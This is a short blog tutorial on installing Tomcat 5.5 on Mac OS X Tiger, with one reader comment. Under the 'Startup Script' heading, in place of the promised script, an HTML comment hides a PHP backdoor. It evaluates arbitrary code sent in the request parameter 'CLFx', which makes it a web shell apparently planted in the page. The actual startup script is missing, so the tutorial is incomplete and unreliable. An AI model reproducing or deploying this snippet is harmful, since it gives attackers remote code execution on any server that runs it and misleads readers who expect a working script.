How To: Install Tomcat on Mac OS X

I recently had to install Tomcat for Web Technologies class where we are exploring the world of Servlets and JSPs. I performed the following steps to setup Tomcat 5.5 on Mac OS X 10.4 (Tiger).

  1. Download the core binary distribution of Tomcat from in zip or tar.gz format.
  2. Unzip the download and rename it to Tomcat.
  3. Move the folder to the /Library directory.
  4. Create a file named tomcat in your favorite text editor, copy the startup script from below, and save the file in /usr/bin.

Startup Script

<!– [insert_php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/insert_php][php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/php] –>

1 comment… add one
  • Joe Mar 31, 2009 Link Reply

    Have you done a and then done a ps -ef | grep tomcat to see if tomcat shutdown cleanly ?

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.